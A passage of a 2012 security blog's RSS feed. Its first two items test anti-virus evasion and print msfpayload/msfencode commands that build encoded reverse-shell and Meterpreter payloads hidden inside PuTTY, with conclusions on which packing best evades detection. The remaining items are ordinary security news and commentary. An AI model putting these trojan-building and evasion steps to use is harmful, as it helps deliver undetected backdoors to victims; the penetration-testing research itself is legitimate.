<code>$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=192.168.1.68 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x ./putty.exe -o ./putty-digithreat-rt.exe</code></p>
<p><strong>Results</strong></p>
<p>So, how did we fare? When using raw payloads generated by <code>msfpayload</code> or encoded payloads embedded in PuTTY, our custom shellcode was detected by roughly the same percentage of anti-virus products as the standard Metasploit payloads.</p>
<p>We were disappointed. Either the anti-virus products were using heuristics to catch our payload, or they had a signature for the Project Shellcode payload we used, or they were picking up on something else. Something related to the way Metasploit generates executable payloads. </p>
<p>To test the latter, we ran manually compiled version of our payload &#8211; with no carrier application &#8211; against all the anti-virus products. This manually compiled version was really only intended to test the payload functionality, but importantly it had been nowhere near Metasploit. The result? Without any form of encoding or packing, it was detected by only 15% of the anti-virus products in our lab. </p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/antivirus-graph-final.jpg" alt="" title="antivirus-graph-final" width="575" height="337" class="aligncenter size-full wp-image-2347" /></p>
<p><strong>Conclusions</strong></p>
<p>From our experimentation in this series of articles, we must conclude that the chance of payload detection by anti-virus is affected by a number of factors:</p>
<ul>
<li>Payload type &#8211; single vs staged</li>
<li>Payload signature &#8211; known metasploit module vs custom shellcode</li>
<li>Packing &#8211; none vs UPX</li>
<li>Tools used &#8211; msfpayload vs custom executable</li>
</ul>
<p><strong>The most successful payload was staged, used custom shellcode, was packed, and was built into an executable manually.</strong></p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/f3OAymkOdoU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/02/anti-virus-evasion-using-custom-shellcode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/02/anti-virus-evasion-using-custom-shellcode/</feedburner:origLink></item>
		<item>
		<title>Anti-virus evasion – 1. Choosing a payload</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/KmlVnxvKD0g/</link>
		<comments>http://www.digitalthreat.net/2012/02/anti-virus-evasion-choosing-a-payload/#comments</comments>
		<pubDate>Sat, 04 Feb 2012 12:30:10 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[slider]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2340</guid>
		<description><![CDATA[I know a number of professional penetration testers who refuse to use Metasploit in their professional tests because of the chance it will be picked up by anti-virus systems on their client&#8217;s network. Metasploit is a ...]]></description>
			<content:encoded><![CDATA[<p>I know a number of professional penetration testers who refuse to use Metasploit in their professional tests because of the chance it will be picked up by anti-virus systems on their client&#8217;s network. Metasploit is a known, free, hacking tool, and therefore the risk of detection is too great, they say.</p>
<p>We have put this premise to the test by running four popular Metasploit payloads through a number of popular anti-virus products. We chose four popular payloads used to gain interactive control of a target computer running Windows:</p>
<ul>
<li>Meterpreter using Reverse TCP (staged)</li>
<li>Shell using Reverse TCP (single)</li>
<li>Shell using Reverse DNS (staged)</li>
<li>Shall using Reverse HTTP (staged)</li>
</ul>
<p>We&#8217;ve selected both single payload (the whole payload is included) and staged payloads (the original payload contains instructions to download the full payload). Staged payloads are often used to avoid anti-virus detection because the signature is much reduced, and static heutirstic analysis can&#8217;t reveal any malicious behaviour. Dynamic heuristic analysis would, of course, spot the full payload being downloaded and executed.</p>
<p>We generated three forms of each of the four payloads:</p>
<ul>
<li>A raw payload as a Windows exe</li>
<li>Embedded into PuTTY and encoded using Metasploit&#8217;s Shikata Ga Nai algorithm</li>
<li>Embedded into PuTTY using Shikata Ga Nai and then packed using UPX</li>
</ul>
<p>As a control, we also ran a clean form of PuTTY through all the virus scanners in both native form and also packed using UPX.</p>
<p><strong>Generation of raw payloads</strong></p>
<p>Metasploit payloads can be generated at the command line using <code>msfpayload</code>. It can output in windows exe format, as raw binary shellcode, and in various programming languages ready for compilation. The following executable payloads were generated:</p>
<p><code>$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.68 LPORT=4444 X > mrt.exe<br />
$ msfpayload windows/shell_reverse_tcp LHOST=192.168.1.68 LPORT=4444 X > srt.exe<br />
$ msfpayload windows/shell/reverse_tcp_dns LHOST=192.168.1.68 LPORT=4444 X > srdt.exe<br />
$ msfpayload windows/shell/reverse_http PXHOST=192.168.1.68 LPORT=4444 X > srh.exe</code></p>
<p><strong>Generating encoded payloads using Metasploit&#8217;s Shikata Ga Nai</strong></p>
<p>The assumption behind encoded payloads is that fewer anti-virus products will pick up on them. Standard signature detection will be defeated, so the anti-virus program must either unpack the payloads statically, or run the applications dynamically in a sandbox and monitor their behaviour (i.e. heuristic scanning). </p>
<p>The <code>msfencode</code> utility can be used to encode a payload in raw format from <code>msfpayload</code> and can also place it into a host binary, in this case the PuTTY application. The following encoded payloads were generated:</p>
<p><code>$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.68 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe ./putty.exe -o ./putty_mrt.exe<br />
$ msfpayload windows/shell_reverse_tcp LHOST=192.168.1.68 LPORT=444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe ./putty.exe -o ./putty_srt.exe<br />
$ msfpayload windows/shell/reverse_tcp_dns LHOST=192.168.1.68 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe ./putty.exe -o ./putty_srtd.exe<br />
$ msfpayload windows/shell/reverse_http PXHOST=192.168.1.68 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe ./putty.exe -o ./putty_srh.exe</code></p>
<p><strong>Packing with UPX</strong></p>
<p>Each of the Shikata Ga Nai packed payloads, embedded into PuTTY, were packed using the popular UPX packer which compresses the executable code and adds a real-time decompressor to the executable. Like the use of Shikata Ga Nai, UPX reduces the ability of an anti-virus product to use signature detection.</p>
<p><strong>Results</strong></p>
<p>First, our control tests. No anti-virus products detected PuTTY as a virus. Around 8% detected the UPX packed version of PuTTY as a virus. This indicates that these products assume that any UPX executable is malicious. </p>
<p>All the payloads we created were detected by at least 60% of the anti-virus products we tested. These represent a cross-section of popular free and commercial solutions currently available. Use of HTTP as a transport mechanism slightly reduced the chance of detection. Shikata Ga Nai marginly reduced the number of anti-virus protects that detected the payloads, most noticably when using staged payloads (DNS and HTTP). </p>
<p>Most interestingly, despite 8% of products flagging <em>any</em> UPX packed binary, only around 50% of the products tested detected the UPX packed payloads. Presumably a limited number of the products we used have a UPX unpacking capability.</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/antivirus-graph-initial.jpg" alt="" title="antivirus-graph-initial" width="575" height="349" class="aligncenter size-full wp-image-2346" /></p>
<p><strong>Conclusion</strong></p>
<p><strong>Staged payloads, embedded into a host application, and then packed with UPX, are the most effective Metasploit combinations</strong> that we tested, and were detected by only 40% of the anti-virus products in our lab. </p>
<p>If you want to avoid detection, a 60% success rate is not good enough. Remember, our implant was caught by 40% of the <em>products</em>, not 40% of the <em>targets</em>. Assuming the better anti-virus products have a larger market share, our 40% product failure rate could look more like an 80 or 90% detection rate on target machines.</p>
<p>In Part 2 of this series, we&#8217;ll example the use of custom shellcode to evade anti-virus. Heuristic scanners are always difficult to evade becuase they examine the <em>behaviour</em> of the payload, but signature based detection systems will miss anything they don&#8217;t already know about. <strong>Writing your own unknown and unsignatured shellcode is therefore the first step towards slipping through their net</strong>.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/KmlVnxvKD0g" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/02/anti-virus-evasion-choosing-a-payload/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/02/anti-virus-evasion-choosing-a-payload/</feedburner:origLink></item>
		<item>
		<title>Code 2600 documentary to explore Information Security</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/cLRrWIJrpsY/</link>
		<comments>http://www.digitalthreat.net/2012/02/code-2600-documentary-to-explore-information-security/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 14:46:50 +0000</pubDate>
		<dc:creator>Luciana de Rossi</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2336</guid>
		<description><![CDATA[A new documentary by director Jeremy Zerechak charts the rise of the Information Technology Age as told through the events and people who helped build and manipulate it. The film explores the impact this new connectivity ...]]></description>
			<content:encoded><![CDATA[<p>A new documentary by director Jeremy Zerechak charts the rise of the Information Technology Age as told through the events and people who helped build and manipulate it. The film explores the impact this new connectivity has on our ability to remain human while maintaining our personal privacy and security.</p>
<p>As we struggle to comprehend the wide-spanning socio-technical fallout caused by data collection and social networks, our modern culture is caught in an undercurrent of cyber-attacks, identity theft and privacy invasion. Both enlightening and disturbing, CODE 2600 is a provocative wake-up call for a society caught in the grips of a global technology takeover. </p>
<p>And unlike most documentaries on &#8216;hackers&#8217; or information security, it looks relatively accurate and very interesting. </p>
<p><iframe width="560" height="315" src="http://www.youtube.com/embed/gXwIYrsW9Bk" frameborder="0" allowfullscreen></iframe></p>
<p>Code 2600 deputs at the Cinequest 2012 film festival in San Jose, California in March.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/cLRrWIJrpsY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/02/code-2600-documentary-to-explore-information-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/02/code-2600-documentary-to-explore-information-security/</feedburner:origLink></item>
		<item>
		<title>What is your password worth?</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/th1RNTjXxxk/</link>
		<comments>http://www.digitalthreat.net/2012/02/what-is-your-password-worth/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 14:26:15 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[Risk Management]]></category>
		<category><![CDATA[slider]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2328</guid>
		<description><![CDATA[However you design and protect your information system, authorised users must be able to identify and authenticate themselves. There are a number of recognised methods of authentication, usually described as &#8216;something I know&#8217;, &#8216;something I have&#8217; ...]]></description>
			<content:encoded><![CDATA[<p>However you design and protect your information system, authorised users must be able to identify and authenticate themselves. There are a number of recognised methods of authentication, usually described as &#8216;something I know&#8217;, &#8216;something I have&#8217; and &#8216;something I am&#8217;. The latter relates to a biometric measurement intrinsically linked with an individual user, but the first two &#8211; something I know, and something I have &#8211; are open to misuse by our biggest threat, the user.</p>
<p>A fascinating insight into the security savvy of the general public was gained in an <a href="http://news.bbc.co.uk/1/hi/technology/3639679.stm">experiment in London in 2004</a> when commuters passing through London&#8217;s Liverpool Street station were invited to take part in a survey. As part of the survey, the subjects were asked questions about their password, use with the aim of either eliciting the password itself, or gaining enough information about the password choice to make a correct guess relatively simple. The reward for taking part? A chocolate bar. The result? <strong>More than 70% of those interviewed revealed their password</strong>.</p>
<p>Though worrying, what is the actual risk of giving your password up to a complete stranger during a public survey? Probabaly not that high &#8211; as a participant, most people could be relatively sure that the survey was genuine and that the whole process wasn&#8217;t part of some elaborate theatre in a targeted attempted to extract their password.</p>
<p>The experiment was repeated in London again in 2007 and 2008, by when the numbers were significantly lower. 64% succumbed in 2007, and in 2008 only 45% of women and 10% of men were prepared to reveal their password in exchange for a chocolate bar. </p>
<p>But what about giving your password to somebody closer to home? </p>
<p><a href="http://www.geek.com/articles/news/women-are-more-likely-to-give-up-passwords-for-chocolate-20080417/">The 2008 experiment</a> went further and incorporated a telephone conversation, releaving that <strong>58% would reveal their password over the phone to anybody who claimed to be from the &#8216;IT department&#8217;</strong>. More on that kind of Social Engineering in Kevin Mitnik&#8217;s excellent book <a href="http://www.amazon.co.uk/gp/product/076454280X/ref=as_li_ss_tl?ie=UTF8&#038;tag=digithre-21&#038;linkCode=as2&#038;camp=1634&#038;creative=19450&#038;creativeASIN=076454280X">The Art of Deception</a>.</p>
<p>Looking at the personal, rather than the professional, environment, the United States based <a href="http://pewinternet.org/">Pew Research Centre</a> released a report in late 2011 on <a href="http://pewinternet.org/Reports/2011/Teens-and-social-media.aspx">Teens, kindness and cruelty on social network sites</a>. As part of the research, Pew asked 800 teenagers how well protected their passwords were. The result? <strong><a href="http://pewinternet.org/Reports/2011/Teens-and-social-media/Part-3/Sharing-passwords.aspx">30% had shared a password</a> with a friend or partner</strong>. The trend was particularly strong amongst older girls, nearly half of whom had shared passwords with friends.</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/teen-password-sharing.jpg" alt="" title="teen-password-sharing" width="275" height="269" class="alignright size-full wp-image-2330" /></p>
<p>The students reported a variety of reasons for sharing passwords. Number one was intimacy &#8211; sharing your entire online life with a partner is a way to demonstrate absolute commitment. It&#8217;s also a method of building trust where trust doesn&#8217;t exist beforehand, though perhaps not a particularly healthy method. Other reasons existed too, including allowing a friend to lock you out of your facebook account to force you to revise for final exams.</p>
<p>As information security professionals, what can we learn from this? Firstly, users are human beings and they don&#8217;t always make rational, well risk-assessed decisions. They suffer from what psychologists call a truth-bias &#8211; a inbuilt assumption that what people say to them is the truth. <a href="http://www.theinquirer.net/inquirer/news/1028154/women-passwords-chocolate">The Inquirer</a> reports that:</p>
<blockquote><p>
When people were eventually told that the survey they had just filled in had actually been part of a security awareness test, most were surprised, with some claiming that because the researchers looked so well dressed and honest, they seemed trustworthy and not in the least bit criminal.
</p></blockquote>
<p><strong>Education</strong> will help here, but you need to be careful not to produce a workforce of paranoid, untrusting, staff. There is at least one hard and fast rule that all employees should know &#8211; never give your password to anybody &#8211; not your colleagues, not your manager, not the IT department, not the CEO. </p>
<p><strong>Good design</strong> is also part of the solution &#8211; a system that restricts account sharing by design will always be more successful than relying on your users to protect your system for you. Where appropriate, the use of secure tokens and/or biometric authentication could reduce or even eliminate the problem.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/th1RNTjXxxk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/02/what-is-your-password-worth/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/02/what-is-your-password-worth/</feedburner:origLink></item>
		<item>
		<title>O2 apologise to 3G customers for breach</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/4YmiJqPqm14/</link>
		<comments>http://www.digitalthreat.net/2012/01/o2-apologise-to-3g-customers-for-breach/#comments</comments>
		<pubDate>Wed, 25 Jan 2012 20:46:08 +0000</pubDate>
		<dc:creator>Luciana de Rossi</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2325</guid>
		<description><![CDATA[UK network provider O2 have today apologised to their 3G customers for accidentally providing their customers&#8217; phone numbers to the websites that they visited. Security is of the utmost importance to us and we take the ...]]></description>
			<content:encoded><![CDATA[<p>UK network provider O2 have today <a href="http://blog.o2.co.uk/home/2012/01/o2-mobile-numbers-and-web-browsing.html">apologised to their 3G customers</a> for accidentally providing their customers&#8217; phone numbers to the websites that they visited. </p>
<blockquote><p>
Security is of the utmost importance to us and we take the protection of our customers’ data extremely seriously.</p>
<p>We have seen the report published this morning suggesting the potential for disclosure of customers’ mobile phone numbers to website owners.</p>
<p>We investigated, identified and fixed it this afternoon. We would like to apologise for the concern we have caused.
</p></blockquote>
<p>When accessing a website, a user&#8217;s browser normally reveals some information about the request. Usually the browser identifies itself, its version and the operating system type and version (this appears in the USER_AGENT header). The head also sometimes identifies proxy servers (in the X_FORWARDED_FOR header). In this case, O2 were adding the mobile phone number associated with the handset in a new header HTTP_X_UP_CALLING_LINE_ID.</p>
<p>So how did this happen? O2 explain in their apology that they reveal a customers phone number purposefully in a number of situations. Firstly, if a website requires it for age verification, secondly, if the website is part of the O2 network and the number is required for accessing services, and thirdly, if the website wants to use the number for billing for premium services. In this case, those three rules had apparently been wiped out, and the number was available to all websites.</p>
<p>And does this happen elsewhere? Well, Collin Mulliner, a student at the Technical University in Berlin, <a href="http://www.mulliner.org/security/httpheaderprivacy.php">wrote a paper</a> about this for CanSecWest back in 2010. He identified a number of instances of HTTP requests being tagged with header information relating to the mobile phone number or SIM card information. In most cases, Mulliner discovered that this information was actually being added by proxy servers in provider networks which reformat pages for devices with small screens. As a result, it affected medium-price-range phones and not expensive, large-screen Android or iPhone devices.</p>
<p>So it would appear that this does occur regularly elsewhere in the world, but it looks like a first for O2. If you&#8217;re interested in checking your own 3G connection, Mulliner developed a <a href="http://www.mulliner.org/pc.cgi">website</a> which analyses your headers and highlights anything that you might need to be concerned about. Remember to disable your WiFi before visiting the site.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/4YmiJqPqm14" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/01/o2-apologise-to-3g-customers-for-breach/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/01/o2-apologise-to-3g-customers-for-breach/</feedburner:origLink></item>
		<item>
		<title>Biometrics of the bottom</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/ansGyfKlx7s/</link>
		<comments>http://www.digitalthreat.net/2012/01/biometrics-of-the-bottom/#comments</comments>
		<pubDate>Sun, 22 Jan 2012 17:53:49 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2264</guid>
		<description><![CDATA[Researchers at Japan&#8217;s Advanced Institute of Industrial Technology have identified what they believe to be a new biometric signature &#8211; the pressure exerted by a person&#8217;s bottom when sitting on a chair. The Japanese scientists have ...]]></description>
			<content:encoded><![CDATA[<p>Researchers at Japan&#8217;s <a href="http://aiit.ac.jp/english/">Advanced Institute of Industrial Technology</a> have identified what they believe to be a new biometric signature &#8211; the pressure exerted by a person&#8217;s bottom when sitting on a chair.</p>
<p>The Japanese scientists have developed a pressure sheet with 360 sensors that collects 39 readings to uniquely identify a person. Dr Shigeomi Koshimizu led the research, but admitted that it isn&#8217;t quite ready for market:</p>
<blockquote><p>
The recognition tends to be compromised by different clothes. Sensors read different signals from a pair of trousers and a pair of jeans.
</p></blockquote>
<p>He is already quoting a 98% accurancy, though the scientists didn&#8217;t indicate whether they were suffering from a rate of 2% false-positives (i.e. 2 in 100 intruders would succeed in getting into the building) or 2% false-negatives (i.e. 2 in 100 genuine staff would be excluded from the building). Typically, biometrics seek a very low false positive (Type I) error rate, and worry less about false negative (Type II) rates. </p>
<p>To compare the &#8220;bottom-print&#8221; biometric with the more traditional fingerprint, analysis of fingerprints conducted by trained experts suffers from a false positive rate of 0.1% and a false negative of 7.5%, so bottom-printing requires some work yet before you&#8217;re likely to see it as an authentication mechanism to start your car.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/ansGyfKlx7s" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/01/biometrics-of-the-bottom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/01/biometrics-of-the-bottom/</feedburner:origLink></item>
		<item>
		<title>Cyber attack is new global risk</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/yeRj6kPKB1A/</link>
		<comments>http://www.digitalthreat.net/2012/01/cyber-attack-is-new-global-risk/#comments</comments>
		<pubDate>Sun, 22 Jan 2012 17:25:31 +0000</pubDate>
		<dc:creator>Luciana de Rossi</dc:creator>
				<category><![CDATA[Risk Management]]></category>
		<category><![CDATA[slider]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2312</guid>
		<description><![CDATA[Every year, the World Economic Forum (WEF), produces a Global Risks Report, highlighting the key themes across the world that present risk to our economies or daily life. This year, for the first time, Information Security ...]]></description>
			<content:encoded><![CDATA[<p>Every year, the <a href="http://www.weforum.org">World Economic Forum</a> (WEF), produces a Global Risks Report, highlighting the key themes across the world that present risk to our economies or daily life. This year, for the first time, Information Security features right at the heart of the report. </p>
<p>Now in its seventh issue, the Global Risks Report is drafted by the WEF&#8217;s Risk Response Network (RRN), which provides an impartial platform to map, monitor and mitigate the the risks that it identifies. Each year, the WEF tracks fifty risks across five main categories &#8211; Economic, Environmental, Geopolitical, Societal and Technological. In 2012, 469 experts and industry leaders were surveyed, and were asked to look at a ten-year threat horizon, assessing the severity of each risk on a five point scale. This year, three main risk cases were identified:</p>
<ul>
<li><strong>Dystopia</strong>, a constellation of discal, demographic and societal risks signalling a dystopian future for humanity</li>
<li><strong>Inability of existing safeguards to protect us from risks</strong> arising from emerging technology, resource depletion and climate change</li>
<li><strong>Hyperconnectivity</strong>, making us vulnerable to cyber threats and digital disruptions with a shift in power to less resourced actors.</li>
</ul>
<p>Cyber attack featured as the fifth most likely risk in the 2012 report, the first time in five years that a technological risk has featured in the top five. The last time, in 2007, &#8220;Breakdown of critical Information Infrastructure&#8221; featured as the most likely risk, though it was soon knocked out of the top five by a series of economic risks after the global credit crisis in 2008.</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/wef-global-risks.jpg" alt="" title="wef-global-risks" width="575" height="473" class="aligncenter size-full wp-image-2315" /></p>
<p><strong>Hyperconnectivity</strong></p>
<p>Information Security issues were captured within the <em>Hyperconnectivity</em> risk case, which refers to a constellation of threats centred around the failure of critical infrastructure. The threats include Cyber Attacks, massive data fraud or theft and large scale digital misinformation, all of which were considered to be low likelihood but high impact risks. Cyber attacks identified by the WEF included complex, high cost, sabotage and espionage attacks &#8211; usually the domain of governments and corporations &#8211; through to low cost subversive attacks, often perpetrated by pressure groups like the Anonymous hacking network.</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/wef-cyberthreat-constellation.jpg" alt="" title="wef-cyberthreat-constellation" width="575" height="254" class="aligncenter size-full wp-image-2318" /></p>
<p><strong>Suggestions</strong></p>
<p>WEF made four suggestions to world leaders to help reduce the risks that had been identified:</p>
<ul>
<ol><strong>Realign incentives</strong>. Currently the risk of cyber attack is talked up by security vendors, and talked down by most other corporations, who rarely admit being a victim. It is therefore almost impossible to determine the true level of risk. Incentives must be realigned to encourage victims to speak out.</ol>
<ol><strong>Multistakeholder collaboration</strong>. Corporations have no incentive to help secure anything but their own network. Governments and the private sector must work together, recognising that insecurity anywhere is a threat to the rest of the system.</ol>
<ol><strong>A market for exploits</strong>. All systems have vulnerabilities, and in addition to improving the standard of software at release time, there will always be a need for patching. At the moment there isn&#8217;t a large enough incentive for &#8216;white hat&#8217; hackers to test for vulnerabilities in commercial software. Until a regulated market exists for exploits, the sale of vulnerability information on the black market is a risk.</ol>
<ol><strong>Development of social norms in cyberspace</strong>. Actions which are not socially acceptable in the real world &#8211; theft, industrial espionage &#8211; are readily and open conducted in cyberspace. A discussion on the roles of accetable engagement for corporate esiponage is required, and social research is required to understand why social norms from the real world do not carry over into the online world.</ol>
</ul>
<p>The full WEF Global Risks Report 2012 can be downloaded as a PDF <a href="http://www3.weforum.org/docs/WEF_GlobalRisks_Report_2012.pdf">here</a>.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/yeRj6kPKB1A" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/01/cyber-attack-is-new-global-risk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/01/cyber-attack-is-new-global-risk/</feedburner:origLink></item>
		<item>
		<title>The Benefits of Full Disk Encryption</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/FmUZSPAMYSU/</link>
		<comments>http://www.digitalthreat.net/2012/01/the-benefits-of-full-disk-encryption/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 08:38:28 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[Threat Mitigation]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2299</guid>
		<description><![CDATA[The Electronic Frontier Foundation is asking everybody to adopt a New Year&#8217;s Resolution for 2012 &#8211; to use full disk encryption on every disk that you own. Many of us now have private information on our ...]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://www.eff.org">Electronic Frontier Foundation</a> is asking everybody to adopt a New Year&#8217;s Resolution for 2012 &#8211; to use <a href="https://www.eff.org/deeplinks/2011/12/newyears-resolution-full-disk-encryption-every-computer-you-own">full disk encryption on every disk</a> that you own. </p>
<blockquote><p>
Many of us now have private information on our computers: personal records, business data, e-mails, web history, or information we have about our friends, family, or colleagues.  Encryption is a great way to ensure that your data will remain safe when you travel or if your laptop is lost or stolen. Best of all, it&#8217;s free. So don&#8217;t put off taking security steps that can help protect your private data. Join EFF in resolving to encrypt your disks 2012.
</p></blockquote>
<p><strong>What is it any why should it be used?</strong></p>
<p>Full disk encryption has long existed as a method of protecting all the data on a drive. Usually, the whole disk is encrypted using a small utility and a new bootloader is installed which prompts the user for a password when the computer is turned on. If the correct password is entered, the decryption key is loaded into memory, the disk is decrypted on the fly, and data is accessed in the usual way. </p>
<p>The protection is only in place when the machine is turned off &#8211; once it has been turned on, and the key entered, all data is available. As a result, full disk encryption effectively mitigates against:</p>
<ul>
<li>computer theft and loss</li>
<li>physical data theft</li>
<li>computer inspections by <a href="https://www.eff.org/document/defending-privacy-us-border-guide-travelers-carrying-digital-devices">border guards</a></li>
<li>data being used in evidence (though this is not legal in all countries)</li>
</ul>
<p>There are two downsides to full disk encryption that need to be considered &#8211; if the password is lost, so is the disk, and the data read/write speed is often slower for an encrypted disk. </p>
<p><strong>How is it implemented?</strong></p>
<p>Encrypting a disk has never been a particularly difficult thing to do, but in the past it has relied on purchasing or downloading specialist software. <a href="http://www.symantec.com/business/whole-disk-encryption">PGP</a>, recently acquired by Symantec, have a commercial solution and <a href="http://www.truecrypt.org/">Truecrypt</a> is the de-facto free equivalent.  </p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/truecrypt.jpg" alt="" title="truecrypt" width="500" height="244" class="aligncenter size-full wp-image-2302" /></p>
<p>In the last few years, though, whole disk encryption has become much, much more accessible. Microsoft led the way with the release of BitLocker, an encryption product included with the Enterprise and Ultimate editions of Windows Vista and Windows 7. BitLocker uses AES encryption in <a href="http://en.wikipedia.org/wiki/XEX-TCB-CTS#Cipher-block_chaining_.28CBC.29">Cipher Block Chaining</a> (CBC) mode with a 128 bit key. It caused an outcry amongst law enforcement agencies because Microsoft <a href="http://blogs.msdn.com/b/si_team/archive/2006/03/02/542590.aspx">refused to put in a back door</a>, allowing them to decrypt computers that may contain evidence. </p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/bitlocker.jpg" alt="" title="bitlocker" width="500" height="211" class="aligncenter size-full wp-image-2303" /></p>
<p>In the latest version of OSX Lion, Apple have introduced FileVault 2 full disk encryption, which, like BitLocker, uses AES 128 bit encryption. This time, the AES is in <a href="http://en.wikipedia.org/wiki/XEX-TCB-CTS#XEX-based_tweaked-codebook_mode_with_ciphertext_stealing_.28XTS.29">XTS-AESW</a> mode as is recommended by NIST in <a href="http://csrc.nist.gov/publications/nistpubs/800-38E/nist-sp-800-38E.pdf">SP800-38E</a>.</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/filevault.jpg" alt="" title="filevault" width="500" height="245" class="aligncenter size-full wp-image-2304" /></p>
<p><strong>Selecting a pass phrase</strong></p>
<p>Of course, full disk encryption is only as strong as the passphrase selected by the user. EFF recommend the use of <a href="http://world.std.com/~reinhold/diceware.html">Diceware</a>, a technique that involves rolling dice to randomly select words from a dictionary. The <a href="http://www.fourmilab.ch/javascrypt/pass_phrase.html">Pass Phrase Generator</a> seems to work in a similar way, but without the requirement for dice.</p>
<p>In short, full disk encryption is now free, very easy to implement, and will give complete peace of mind if a computer gets into the wrong hands (however you might define that). </p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/FmUZSPAMYSU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/01/the-benefits-of-full-disk-encryption/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/01/the-benefits-of-full-disk-encryption/</feedburner:origLink></item>
		<item>
		<title>Smart meter privacy concerns</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/Ci1FztLumLA/</link>
		<comments>http://www.digitalthreat.net/2012/01/smart-meter-privacy-concerns/#comments</comments>
		<pubDate>Wed, 11 Jan 2012 09:14:38 +0000</pubDate>
		<dc:creator>Luciana de Rossi</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2293</guid>
		<description><![CDATA[Researchers Dario Carluccio and Stephan Brinkhaus recently presented a series of flaws in the security of electricity smart meters at the 28th Chaos Computing Congress (28c3) in Berlin, Germany. What are Smart Meters? Smart meters measure ...]]></description>
			<content:encoded><![CDATA[<p>Researchers Dario Carluccio and Stephan Brinkhaus recently presented a series of flaws in the security of electricity smart meters at the 28th Chaos Computing Congress (28c3) in Berlin, Germany.</p>
<p><strong>What are Smart Meters?</strong></p>
<p>Smart meters measure the consumption of electricity in a home or business. Like non-smart meters, they are the mechanism through which the utility company knows how much electricity a consumer as used &#8211; a figure from which the bill is calculated and generated. Smart meters have added value, though:</p>
<ul>
<li>They are digital</li>
<li>They have memory and can store consumption history</li>
<li>They are web connected and can transmit acquired data</li>
